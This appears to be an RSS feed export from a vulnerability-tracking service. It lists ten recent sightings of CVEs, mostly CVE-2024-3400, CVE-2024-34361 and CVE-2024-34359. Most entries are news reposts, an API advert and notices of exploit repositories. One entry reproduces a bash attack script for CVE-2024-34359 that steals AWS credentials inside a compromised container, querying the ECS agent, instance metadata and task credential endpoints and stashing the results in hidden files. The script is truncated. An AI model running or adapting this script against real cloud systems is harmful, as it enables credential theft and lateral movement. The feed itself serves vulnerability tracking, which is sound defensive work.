https://vulnerability.circl.lu/sightings/feed 2026-09-17T09:01:40.979107+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/96cef8f1-50fe-4c5d-90e9-9a22cdf2a589/export 2026-09-17T09:01:41.007513+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "96cef8f1-50fe-4c5d-90e9-9a22cdf2a589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117280369397435470", "content": "SOC triage: one curl call, CVE plus exploit status plus vendor fix, into your ticket.\ncurl \"https://valtersit.com/api/v1/cve/CVE-2024-3400?key=KEY\"\nMetered, no seat fees. https://www.valtersit.com/cve/pricing/", "creation_timestamp": "2026-09-16T11:00:24.043846Z"} 2026-09-16T11:00:24.043846+00:00 https://vulnerability.circl.lu/sighting/28810e41-5055-4b15-ac39-69191c3f5dce/export 2026-09-17T09:01:41.009428+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "28810e41-5055-4b15-ac39-69191c3f5dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mvmydcufpj2m", "content": "SOC triage: one curl call, CVE plus exploit status plus vendor fix, into your ticket.\n\ncurl \"https://valtersit.com/api/v1/cve/CVE-2024-3400?key=KEY\"\n\nMetered, no seat fees. https://www.valtersit.com/cve/pricing/", "creation_timestamp": "2026-09-16T11:00:18.527181Z"} 2026-09-16T11:00:18.527181+00:00 https://vulnerability.circl.lu/sighting/049bf5ce-7003-4733-b2b5-348bc99bf8a3/export 2026-09-17T09:01:41.009577+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "049bf5ce-7003-4733-b2b5-348bc99bf8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://gist.github.com/DesTinY0x01/0b049937a9a2289c498a0b797252120b", "content": "#!/bin/bash\n# CUCKOO Phase 5+6 \u2014 RCE proof + ECScape credential theft\n# This runs inside the stale inference container via CVE-2024-34359\n\n# Phase 5 \u2014 proof of execution\nid > /tmp/.arc_marker\necho cuckoo > /tmp/.escape_probe\n\n# Phase 6 \u2014 ECScape: steal deploy-role credentials from co-located ECS task\n# The container runs with --network host, so 127.0.0.1:51678 is reachable\n\n# Step 1: Enumerate all running tasks via ECS introspection\ncurl -s http://127.0.0.1:51678/v1/tasks > /tmp/.ecs_tasks 2>&1\n\n# Step 2: Extract deploy task container ID\nDEPLOY_ID=$(cat /tmp/.ecs_tasks | python3 -c \"\nimport sys, json\ntry:\n for t in json.load(sys.stdin)['Tasks']:\n if t.get('KnownStatus')=='RUNNING' and t.get('Family')=='arc-deploy-task':\n print(t['Containers'][0]['DockerId'][:12])\nexcept: pass\n\" 2>/dev/null)\n\n# Step 3: Get instance role from IMDS\nTOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' 2>/dev/null)\nROLE=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE > /tmp/.instance_creds 2>&1\n\n# Step 4: Read our own task credential URI and fetch creds\nif [ -n \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" ]; then\n curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI > /tmp/.own_task_creds 2>&1\nfi\n\n# Step 5: Try to reach the deploy task's credential endpoint\n# The ECS agent serves creds at /v2/credentials/{id} for each task\n# We can enumerate credential IDs from the task metadata\ncat /tmp/.ecs_tasks | python3 -c \"\nimport sys, json, urllib.request\ntasks = json.load(sys.stdin).get('Tasks', [])\nfor t in tasks:\n if t.get('KnownStatus') != 'RUNNING':\n continue\n family = t.get('Family', '')\n arn = t.get('Arn', '')\n containers = t.get('Containers', [])\n print(f'Task: {family} | ARN: {arn}')\n for c in containers:\n docker_id = c.get('DockerId', '')[:12]\n print(f' Container: {c.get(\\\"Name\\\",\\\"\\\")} | Docker: {docker_id}')\n\" > /tmp/.ecscape_recon 2>&1\n\n# Step 6: Use the ECS agent introspection to get ALL task credential endpoints\n# The v4 metadata endpoint exposes credential URIs per task\ncurl -s http://127.0.0.1:51678/v1/tasks | python3 << 'PYTHON' > /tmp/.all_cred_uris 2>&1\nimport sys, json, urllib.request\n\ntasks = json.load(sys.stdin).get('Tasks', [])\nfor t in tasks:\n if t.get('KnownStatus') != 'RUNNING':\n continue\n family = t.get('Family', '')\n\n # Try to get credentials from the task's containers\n for c in t.get('Containers', []):\n docker_id = c.get('DockerId', '')[:12]\n # The ECS agent exposes task role credentials at the task metadata endpoint\n #", "creation_timestamp": "2026-09-15T08:15:12.688412Z"} 2026-09-15T08:15:12.688412+00:00 https://vulnerability.circl.lu/sighting/881a9443-bc08-482d-a8d1-9950350e9b37/export 2026-09-17T09:01:41.009718+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "881a9443-bc08-482d-a8d1-9950350e9b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "content": "", "creation_timestamp": "2026-09-15T00:00:24.380262Z"} 2026-09-15T00:00:24.380262+00:00 https://vulnerability.circl.lu/sighting/63410838-3e2c-4e8a-a87e-ea2a9a456731/export 2026-09-17T09:01:41.009818+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "63410838-3e2c-4e8a-a87e-ea2a9a456731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "content": "", "creation_timestamp": "2026-09-14T03:00:09.865844Z"} 2026-09-14T03:00:09.865844+00:00 https://vulnerability.circl.lu/sighting/57b638e5-a5f6-4aca-90f2-30144df4d973/export 2026-09-17T09:01:41.009917+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "57b638e5-a5f6-4aca-90f2-30144df4d973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/cissp/7467", "content": "\ud83d\uded1 URGENT - Critical zero-day security vulnerability (CVE-2024-3400) discovered in Palo Alto Networks firewalls. \nHackers are already exploiting it in the wild, enabling them \"to execute arbitrary code with root privileges.\" \nDetails\ud83d\udc47 \nhttps://thehackernews.com/2024/04/zero-day-alert-critical-palo-alto.html\n\n\ud83d\ude31 Yikes! Did you know that over 11,000 secrets (passwords, API keys...) were leaked on the Python repository PyPI, and over 12.8 million on GitHub in 2023? \nGitGuardian's findings are alarming - read the details: \nhttps://thehackernews.com/2024/04/gitguardian-report-pypi-secrets.html\n\nThe question you need to ask: Are you affected by the XZ Util Backdoor? \nPrevent future risks and make sure you have a defense-in-depth strategy using Wiz CDR and runtime sensor. \nSee Wiz in Action: \nhttps://thn.news/wiz-cloud-security\n\n\n\n-Cyber Security awareness-\n\u00a0\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n2024.04.12", "creation_timestamp": "2026-09-10T00:00:54.310799Z"} 2026-09-10T00:00:54.310799+00:00 https://vulnerability.circl.lu/sighting/a5bc4b6c-2508-4a67-ac0f-1b1a4139dac0/export 2026-09-17T09:01:41.010025+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "a5bc4b6c-2508-4a67-ac0f-1b1a4139dac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-34361", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101667", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-34361-Pi-Hole-SSRF-to-RCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a T0X1Cx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PowerShell\n\u2b50 Star\u6570\u91cf\uff1a 1 | \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-08 12:14:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository contains an exploit for CVE-2024-34361, a critical Pi-hole vulnerability (CVSS 8.6). It uses SSRF to achieve RCE by exploiting improper URL validation, allowing attackers to send arbitrary requests and execute commands on the system. Disclaimer: For educational and ethical security testing only. Unauthorized use is illegal.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-10T00:00:50.477310Z"} 2026-09-10T00:00:50.477310+00:00 https://vulnerability.circl.lu/sighting/4d72e205-650c-4f14-8d6c-8d94d442bf99/export 2026-09-17T09:01:41.010129+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "4d72e205-650c-4f14-8d6c-8d94d442bf99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "content": "", "creation_timestamp": "2026-09-09T10:00:12.505475Z"} 2026-09-09T10:00:12.505475+00:00 https://vulnerability.circl.lu/sighting/a3dad9ba-2b8a-43f7-b9d4-b4007f65cbb9/export 2026-09-17T09:01:41.010222+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "a3dad9ba-2b8a-43f7-b9d4-b4007f65cbb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-34361", "type": "seen", "source": "https://t.me/GithubRedTeam/101667", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-34361-Pi-Hole-SSRF-to-RCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a T0X1Cx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PowerShell\n\u2b50 Star\u6570\u91cf\uff1a 1 | \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-08 12:14:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository contains an exploit for CVE-2024-34361, a critical Pi-hole vulnerability (CVSS 8.6). It uses SSRF to achieve RCE by exploiting improper URL validation, allowing attackers to send arbitrary requests and execute commands on the system. Disclaimer: For educational and ethical security testing only. Unauthorized use is illegal.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-09T05:00:05.699115Z"} 2026-09-09T05:00:05.699115+00:00 https://vulnerability.circl.lu/sighting/74094b43-a3f0-4fe6-a52f-33aa0359c913/export 2026-09-17T09:01:41.010322+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "74094b43-a3f0-4fe6-a52f-33aa0359c913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/cissp/7467", "content": "\ud83d\uded1 URGENT - Critical zero-day security vulnerability (CVE-2024-3400) discovered in Palo Alto Networks firewalls. \nHackers are already exploiting it in the wild, enabling them \"to execute arbitrary code with root privileges.\" \nDetails\ud83d\udc47 \nhttps://thehackernews.com/2024/04/zero-day-alert-critical-palo-alto.html\n\n\ud83d\ude31 Yikes! Did you know that over 11,000 secrets (passwords, API keys...) were leaked on the Python repository PyPI, and over 12.8 million on GitHub in 2023? \nGitGuardian's findings are alarming - read the details: \nhttps://thehackernews.com/2024/04/gitguardian-report-pypi-secrets.html\n\nThe question you need to ask: Are you affected by the XZ Util Backdoor? \nPrevent future risks and make sure you have a defense-in-depth strategy using Wiz CDR and runtime sensor. \nSee Wiz in Action: \nhttps://thn.news/wiz-cloud-security\n\n\n\n-Cyber Security awareness-\n\u00a0\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n2024.04.12", "creation_timestamp": "2026-09-09T04:00:37.884462Z"} 2026-09-09T04:00:37.884462+00:00